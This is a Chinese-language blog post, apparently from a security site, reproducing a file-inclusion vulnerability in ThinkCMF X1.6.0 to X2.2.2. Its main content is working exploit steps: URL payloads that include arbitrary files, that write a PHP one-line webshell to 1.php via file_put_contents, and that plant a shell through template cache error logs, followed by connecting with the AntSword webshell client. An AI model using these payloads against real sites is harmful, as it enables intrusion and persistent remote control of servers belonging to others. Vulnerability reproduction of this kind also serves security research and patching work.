ThinkCMF框架任意内容包含漏洞

ThinkCMF框架任意内容包含漏洞#
适用版本:#
ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

[hide]

漏洞原因:#
因为他在模板路径出的函数运用出现问题,当模板主题不存在时会在当前目录下开始查找,形成文件包含

对应参数:templateFile为模板文件地址

构造文件包含 payload:?a=display&templateFile=README.md

构造一句话木马payload:?a=fetch&templateFile=public/index&prefix=”&content=file_put_contents(‘1.php’,”)

漏洞复现:#
我这里是用windows 2008R2的机器当做服务器,首先找到首页目标
微信截图_20211005225934.png

文件包含#
然后直接在首页上面添加pyload显示结果

http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=README.md
微信截图_20211005225934.png

写一句话木马#
http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=”&content=file_put_contents(‘1.php’,”)
微信截图_20211005225934.png

如果成功了则会显示空白页面,接下来直接访问1.php就可以看到了
微信截图_20211005225934.png

然后蚁剑链接微信截图_20211005225950.png

通过缓存日志写shell#
在默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马

127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=

当出现下图的时候就已经讲一句话写入日志中了,接下来我们还需要去访问一下日志微信截图_20211005225934.png

这样子就会自动生成一个1.php文件了我们就可以直接链接蚁剑了
微信截图_20211005225934.png
微信截图_20211005225950.png

[/hide]

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 共2条
    • 多情剑客
    • 来着大自然的赠送0
      谢谢::(haha)
      1月前回复